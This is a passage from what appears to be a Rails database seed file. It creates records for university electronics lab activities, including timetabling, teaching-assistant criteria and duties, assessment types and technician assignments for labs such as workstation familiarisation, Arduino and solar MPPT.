EEE labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: 12.0)\n ActivityAssess.where(activity_id: a308.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_form.id, post_lab_type_id: $post_mole.id, num_assess: 2)\n ActivityTech.where(activity_id: a308.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a308.id, programme_id: $prog_gee.id).first_or_create!\n\n\n a309 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"AER123\").first.id, code: \"134\").first_or_create!(name: \"Workstation Familiarisation\",\n name_abrv: \"WS\", archived: false, in_drive: false, user_id: 1)\n at309 = ActivityTimetable.where(activity_id: a309.id).first_or_create!(duration: 180, kit_prep_time: 350, min_week_num: 1, max_week_num: 3, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: 15, setup_time: 15, takedown_time: 25, notes: \"\",\n capacity: 140, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a309.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"WS1\", resit_priority_id: $resit_high.id)\n ActivityGta.where(activity_id: a309.id).first_or_create!(criteria: \"Must be able to independently use an oscilloscope, digital multimeter and signal generator\n Must be able to solder and to demonstrate good soldering technique to students\n Must be able to build simple circuits on a breadboard and perform current and voltage measurements\",\n job_desc:\"Help students construct a resistor potential divider on a breadboard, then take measurements on it using multimeters and oscilloscopes. \n Ensure the students appreciate measurement device impedance and the importance of clear data recording.\n Help train the students to independently use an oscilloscope, signal generator and multimeter.\n Supervise students to safely solder a small PCB - be prepared to provide demonstrations and advice on soldering.\", jobshop_desc: \"GTA in MEE, the Diamond: EEE labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: 12.0)\n ActivityAssess.where(activity_id: a309.id).first_or_create!(assess_weight: 6.0, notes: \"\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_sum.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a309.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a309.id, programme_id: $prog_aero.id).first_or_create!\n\n\n a310 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"EEE123\").first.id, code: \"134\").first_or_create!(name: \"Workstation Familiarisation\",\n name_abrv: \"WS\", archived: false, in_drive: false, user_id: 1)\n at310 = ActivityTimetable.where(activity_id: a310.id).first_or_create!(duration: 180, kit_prep_time: 350, min_week_num: 1, max_week_num: 3, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: 15, setup_time: 15, takedown_time: 25, notes: \"\",\n capacity: 140, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a310.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"WS1\", resit_priority_id: $resit_high.id)\n ActivityGta.where(activity_id: a310.id).first_or_create!(criteria: \"Must be able to independently use an oscilloscope, digital multimeter and signal generator\n Must be able to solder and to demonstrate good soldering technique to students\n Must be able to build simple circuits on a breadboard and perform current and voltage measurements\",\n job_desc:\"Help students construct a resistor potential divider on a breadboard, then take measurements on it using multimeters and oscilloscopes. \n Ensure the students appreciate measurement device impedance and the importance of clear data recording.\n Help train the students to independently use an oscilloscope, signal generator and multimeter.\n Supervise students to safely solder a small PCB - be prepared to provide demonstrations and advice on soldering.\", jobshop_desc: \"GTA in MEE, the Diamond: EEE labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: 12.0)\n ActivityAssess.where(activity_id: a310.id).first_or_create!(assess_weight: 4.0, notes: \"\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_sum.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a310.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 3)\n\n\n a311 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"EEE218\").first.id, code: \"134\").first_or_create!(name: \"Workstation Familiarisation\",\n name_abrv: \"WS\", archived: false, in_drive: false, user_id: 1)\n at311 = ActivityTimetable.where(activity_id: a311.id).first_or_create!(duration: 180, kit_prep_time: 350, min_week_num: 1, max_week_num: 3, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: 15, setup_time: 15, takedown_time: 25, notes: \"\",\n capacity: 140, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a311.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"WS1\", resit_priority_id: $resit_high.id)\n ActivityGta.where(activity_id: a311.id).first_or_create!(criteria: \"Must be able to independently use an oscilloscope, digital multimeter and signal generator\n Must be able to solder and to demonstrate good soldering technique to students\n Must be able to build simple circuits on a breadboard and perform current and voltage measurements\",\n job_desc:\"Help students construct a resistor potential divider on a breadboard, then take measurements on it using multimeters and oscilloscopes. \n Ensure the students appreciate measurement device impedance and the importance of clear data recording.\n Help train the students to independently use an oscilloscope, signal generator and multimeter.\n Supervise students to safely solder a small PCB - be prepared to provide demonstrations and advice on soldering.\", jobshop_desc: \"GTA in MEE, the Diamond: EEE labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: 12.0)\n ActivityAssess.where(activity_id: a311.id).first_or_create!(assess_weight: 4.0, notes: \"\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_sum.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a311.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a311.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a312 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"EEE221\").first.id, code: \"134\").first_or_create!(name: \"Workstation Familiarisation\",\n name_abrv: \"WS\", archived: false, in_drive: false, user_id: 5)\n at312 = ActivityTimetable.where(activity_id: a312.id).first_or_create!(duration: 180, kit_prep_time: 350, min_week_num: 1, max_week_num: 3, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: 15, setup_time: 15, takedown_time: 25, notes: \"\",\n capacity: 140, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a312.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"WS1\", resit_priority_id: $resit_high.id)\n ActivityGta.where(activity_id: a312.id).first_or_create!(criteria: \"Must be able to independently use an oscilloscope, digital multimeter and signal generator\n Must be able to solder and to demonstrate good soldering technique to students\n Must be able to build simple circuits on a breadboard and perform current and voltage measurements\",\n job_desc:\"Help students construct a resistor potential divider on a breadboard, then take measurements on it using multimeters and oscilloscopes. \n Ensure the students appreciate measurement device impedance and the importance of clear data recording.\n Help train the students to independently use an oscilloscope, signal generator and multimeter.\n Supervise students to safely solder a small PCB - be prepared to provide demonstrations and advice on soldering.\", jobshop_desc: \"GTA in MEE, the Diamond: EEE labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: 12.0)\n ActivityAssess.where(activity_id: a312.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_form.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a312.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a312.id, programme_id: $prog_eee.id).first_or_create!\n\n\n a313 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"EEE126\").first.id, code: \"135\").first_or_create!(name: \"Workstation Familiarisation\",\n name_abrv: \"WS1\", archived: false, in_drive: false, user_id: 1)\n at313 = ActivityTimetable.where(activity_id: a313.id).first_or_create!(duration: 180, kit_prep_time: 350, min_week_num: 1, max_week_num: 3, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: 15, setup_time: 15, takedown_time: 25, notes: \"\",\n capacity: 140, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a313.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"WS1\", resit_priority_id: $resit_high.id)\n ActivityGta.where(activity_id: a313.id).first_or_create!(criteria: \"Must be able to independently use an oscilloscope, digital multimeter and signal generator\n Must be able to solder and to demonstrate good soldering technique to students\n Must be able to build simple circuits on a breadboard and perform current and voltage measurements\",\n job_desc:\"Help students construct a resistor potential divider on a breadboard, then take measurements on it using multimeters and oscilloscopes. \n Ensure the students appreciate measurement device impedance and the importance of clear data recording.\n Help train the students to independently use an oscilloscope, signal generator and multimeter.\n Supervise students to safely solder a small PCB - be prepared to provide demonstrations and advice on soldering.\", jobshop_desc: \"GTA in MEE, the Diamond: EEE labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: 12.0)\n ActivityAssess.where(activity_id: a313.id).first_or_create!(assess_weight: 4.0, notes: \"\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_sum.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a313.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a313.id, programme_id: $prog_eee.id).first_or_create!\n\n\n a314 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"GEE102\").first.id, code: \"135\").first_or_create!(name: \"Workstation Familiarisation\",\n name_abrv: \"WS1\", archived: false, in_drive: false, user_id: 5)\n at314 = ActivityTimetable.where(activity_id: a314.id).first_or_create!(duration: 180, kit_prep_time: 350, min_week_num: 1, max_week_num: 3, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: 15, setup_time: 15, takedown_time: 25, notes: \"\",\n capacity: 140, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a314.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"WS1\", resit_priority_id: $resit_high.id)\n ActivityGta.where(activity_id: a314.id).first_or_create!(criteria: \"Must be able to independently use an oscilloscope, digital multimeter and signal generator\n Must be able to solder and to demonstrate good soldering technique to students\n Must be able to build simple circuits on a breadboard and perform current and voltage measurements\",\n job_desc:\"Help students construct a resistor potential divider on a breadboard, then take measurements on it using multimeters and oscilloscopes. \n Ensure the students appreciate measurement device impedance and the importance of clear data recording.\n Help train the students to independently use an oscilloscope, signal generator and multimeter.\n Supervise students to safely solder a small PCB - be prepared to provide demonstrations and advice on soldering.\", jobshop_desc: \"GTA in MEE, the Diamond: EEE labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: 12.0)\n ActivityAssess.where(activity_id: a314.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_form.id, post_lab_type_id: $post_mole.id, num_assess: 2)\n ActivityTech.where(activity_id: a314.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a314.id, programme_id: $prog_gee.id).first_or_create!\n\n\n a315 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"EEE227\").first.id, code: \"136E\").first_or_create!(name: \"Signals and Filters\",\n name_abrv: \"\", archived: false, in_drive: false, user_id: 1)\n at315 = ActivityTimetable.where(activity_id: a315.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: 30, setup_time: 30, takedown_time: 30, notes: \"To follow modulation\",\n capacity: 80, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a315.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a315.id).first_or_create!(criteria: \"Must be confident in frequency domain signal analysis\n Must have knowledge of simple modulation formats (amplitude modulation etc.)\n Must be able to explain frequency domain filtering effects (aliasing etc.) and their importance in the modulation/demodulation process\n Must have basic knowledge of first order passive filter construction i.e. RC circuits\",\n job_desc:\"Help students explore the response of filters in the time and frequency domain\n Help students construct a circuit to modulate audio signals onto a carrier frequency\n Advise students on appropriate choice of filter properties (cut-off frequency, roll-off etc.)\n Troubleshoot student circuit constructions and explain the effects of fitering on the signal\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a315.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a315.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a315.id, programme_id: $prog_eee.id).first_or_create!\n\n\n a316 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"EEE227\").first.id, code: \"136E\").first_or_create!(name: \"Signals and Filters\",\n name_abrv: \"\", archived: false, in_drive: false, user_id: 4)\n at316 = ActivityTimetable.where(activity_id: a316.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: 30, setup_time: 30, takedown_time: 30, notes: \"To follow modulation\",\n capacity: 80, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a316.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a316.id).first_or_create!(criteria: \"Must be confident in frequency domain signal analysis\n Must have knowledge of simple modulation formats (amplitude modulation etc.)\n Must be able to explain frequency domain filtering effects (aliasing etc.) and their importance in the modulation/demodulation process\n Must have basic knowledge of first order passive filter construction i.e. RC circuits\",\n job_desc:\"Help students explore the response of filters in the time and frequency domain\n Help students construct a circuit to modulate audio signals onto a carrier frequency\n Advise students on appropriate choice of filter properties (cut-off frequency, roll-off etc.)\n Troubleshoot student circuit constructions and explain the effects of fitering on the signal\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a316.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a316.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a316.id, programme_id: $prog_bio.id).first_or_create!\n\n\n a317 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"EEE118\").first.id, code: \"137\").first_or_create!(name: \"Clean room intro - micro-measurement\",\n name_abrv: \"\", archived: false, in_drive: false, user_id: 3)\n at317 = ActivityTimetable.where(activity_id: a317.id).first_or_create!(duration: 150, kit_prep_time: 180, min_week_num: 1, max_week_num: 6, pref_room_id: $room_cr.id,\n same_as_prev_year: false, series_setup_time: 30, setup_time: 30, takedown_time: 30, notes: \"\",\n capacity: 16, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a317.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_high.id)\n ActivityGta.where(activity_id: a317.id).first_or_create!(criteria: \"Must have an interest in basic clean room operations\n Must understand simple resistivity measurements\n Must be confident in estimating experimental error and calculating error propagation\",\n job_desc:\"Introduce students to the clean room environment and explain the need for the safety and environmental precautions in place.\n Demonstrate key pieces of cleanroom equipment to the students. Assist the students with the use of probe stations to make resistivity measurements and help them analyse their data.\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a317.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a317.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a317.id, programme_id: $prog_eee.id).first_or_create!\n\n\n a318 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"EEE221\").first.id, code: \"137\").first_or_create!(name: \"Clean room intro - micro-measurement\",\n name_abrv: \"\", archived: false, in_drive: false, user_id: 3)\n at318 = ActivityTimetable.where(activity_id: a318.id).first_or_create!(duration: 150, kit_prep_time: 180, min_week_num: 1, max_week_num: 6, pref_room_id: $room_cr.id,\n same_as_prev_year: false, series_setup_time: 30, setup_time: 30, takedown_time: 30, notes: \"For direct entry 2nd year students only\",\n capacity: 16, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a318.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_high.id)\n ActivityGta.where(activity_id: a318.id).first_or_create!(criteria: \"Must have an interest in basic clean room operations\n Must understand simple resistivity measurements\n Must be confident in estimating experimental error and calculating error propagation\",\n job_desc:\"Introduce students to the clean room environment and explain the need for the safety and environmental precautions in place.\n Demonstrate key pieces of cleanroom equipment to the students. Assist the students with the use of probe stations to make resistivity measurements and help them analyse their data.\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a318.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a318.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a318.id, programme_id: $prog_eee.id).first_or_create!\n\n\n a319 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"GEE102\").first.id, code: \"137\").first_or_create!(name: \"Clean room intro - micro-measurement\",\n name_abrv: \"\", archived: false, in_drive: false, user_id: 1)\n at319 = ActivityTimetable.where(activity_id: a319.id).first_or_create!(duration: 150, kit_prep_time: 180, min_week_num: 1, max_week_num: 12, pref_room_id: $room_cr.id,\n same_as_prev_year: false, series_setup_time: 30, setup_time: 30, takedown_time: 30, notes: \"\",\n capacity: 16, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a319.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_high.id)\n ActivityGta.where(activity_id: a319.id).first_or_create!(criteria: \"Must have an interest in basic clean room operations\n Must understand simple resistivity measurements\n Must be confident in estimating experimental error and calculating error propagation\",\n job_desc:\"Introduce students to the clean room environment and explain the need for the safety and environmental precautions in place.\n Demonstrate key pieces of cleanroom equipment to the students. Assist the students with the use of probe stations to make resistivity measurements and help them analyse their data.\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a319.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a319.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a319.id, programme_id: $prog_gee.id).first_or_create!\n\n\n a320 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"EEE126\").first.id, code: \"138\").first_or_create!(name: \"Introduction to Arduino and IoT\",\n name_abrv: \"\", archived: false, in_drive: false, user_id: 3)\n at320 = ActivityTimetable.where(activity_id: a320.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 1, max_week_num: 12, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: 30, setup_time: 30, takedown_time: 30, notes: \"\",\n capacity: 140, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a320.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_high.id)\n ActivityGta.where(activity_id: a320.id).first_or_create!(criteria: \"Must have experience in building circuits on breadboards\n Must have experience in programming Arduino using the Arduino IDE\n Must be comfortable debugging and troubleshooting student code and circuits\",\n job_desc:\"Assist students in constructing simple circuits on a breadboard with an Arduino controller. Help students to debug and troubleshoot their Arduino code.\n Help students working through a series of exercises to introduce the Arduino platform, leading to an open construction task at the end of the lab.\", jobshop_desc: \"\", marking_time: nil, staff_ratio: 12.0)\n ActivityAssess.where(activity_id: a320.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a320.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a320.id, programme_id: $prog_eee.id).first_or_create!\n\n\n a321 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"EEE126\").first.id, code: \"139\").first_or_create!(name: \"Solar Energy\",\n name_abrv: \"\", archived: false, in_drive: false, user_id: 2)\n at321 = ActivityTimetable.where(activity_id: a321.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: 60, setup_time: 60, takedown_time: 60, notes: \"\",\n capacity: 80, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a321.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a321.id).first_or_create!(criteria: \"Must have experience in building circuits on breadboards\n Must be familiar with solar cell operation (short circuit current/open circuit voltage/serial and parallel panels/bypass diodes)\n Must be competent with use of digital multimeter\",\n job_desc:\"Assist students in characterising individual solar cells (short circuit current/open circuit voltage/fill factor under LED, halogen and coloured filtered illumination sources).\n Assist students in combining individual cells into panels in series and parallel for further characterisation.\n Explain the need for practical considerations such as bypass diodes and demonstrate their necessity in partial shaded use of solar panels\n Help students construct a solar panel circuit to drive a motor and propeller\", jobshop_desc: \"\", marking_time: nil, staff_ratio: 12.0)\n ActivityAssess.where(activity_id: a321.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a321.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a321.id, programme_id: $prog_eee.id).first_or_create!\n\n\n a322 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"EEE126\").first.id, code: \"140\").first_or_create!(name: \"Building a Solar MPPT\",\n name_abrv: \"\", archived: false, in_drive: false, user_id: 4)\n at322 = ActivityTimetable.where(activity_id: a322.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: 60, setup_time: 60, takedown_time: 60, notes: \"\",\n capacity: 80, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a322.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a322.id).first_or_create!(criteria: \"Must have experience in building circuits on breadboards\n Must have experience in programming Arduino using the Arduino IDE\n Must be comfortable debugging and troubleshooting student code and circuits\n Ideally familiar with solar maximum power point trackers and associated algorithms\",\n job_desc:\"Help students recall skills from prior labs (Arduino intro, and solar cell characterisation) to construct a maximum power point tracking system.\n Assist the students in writing Arduino code to monitor the voltage and current produced by a solar panel under a dynamic load.\n Help the students implement a maximum power point tracking algorithm by varying the panel load for maximum power output\n Troubleshoot both circuit hardware problems and issues with student code\n Help students test their hardware and software designs and suggest improvements\", jobshop_desc: \"\", marking_time: nil, staff_ratio: 12.0)\n ActivityAssess.where(activity_id: a322.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a322.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a322.id, programme_id: $prog_eee.id).first_or_create!\n\n\n a323 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"AMR231\").first.id, code: \"200\").first_or_create!(name: \"Analysis and Design of Feedback Control Systems\",\n name_abrv: \"AMR231TIMESERVO\", archived: false, in_drive: false, user_id: 3)\n at323 = ActivityTimetable.where(activity_id: a323.id).first_or_create!(duration: nil, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a323.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a323.id).first_or_create!(criteria: \"Must have understanding of MATLAB programming, physical systems modelling and analysis of 1st and 2nd order systems\",\n job_desc:\"This laboratory is basic parameter identification of a 1st order system from step response characteristics: Gain, Time Constant and System Delay.\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a323.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_sum.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a323.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a323.id, programme_id: $prog_amrc.id).first_or_create!\n\n\n a324 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"ACS231\").first.id, code: \"201\").first_or_create!(name: \"1st Semester Design Project\",\n name_abrv: \"ACS231 - Design Project 1\", archived: true, in_drive: false, user_id: 2)\n at324 = ActivityTimetable.where(activity_id: a324.id).first_or_create!(duration: 180, kit_prep_time: 90, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: 20, setup_time: 20, takedown_time: 20, notes: \"\",\n capacity: nil, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a324.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a324.id).first_or_create!(criteria: \"Must have experience of programming Arduino devices with C, and a working knowledge of electronic circuit design and construction, and be able to debug problems.\",\n job_desc:\"During these project sessions, the students will develop a mechatronics project\", jobshop_desc: \"GTA in MEE, the Diamond: ACSE Labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a324.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: nil)\n ActivityTech.where(activity_id: a324.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 4)\n\n\n a325 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"ACS231\").first.id, code: \"202\").first_or_create!(name: \"Mechatronics Design Project\",\n name_abrv: \"ACS231 - Design Project 2\", archived: false, in_drive: false, user_id: 2)\n at325 = ActivityTimetable.where(activity_id: a325.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"Equipment would need to be moved between labs\",\n capacity: 120, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a325.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a325.id).first_or_create!(criteria: \"Must have experience of programming Arduino devices with C, and a working knowledge of electronic circuit design and construction, and be able to debug problems.\",\n job_desc:\"During these project sessions, the students will 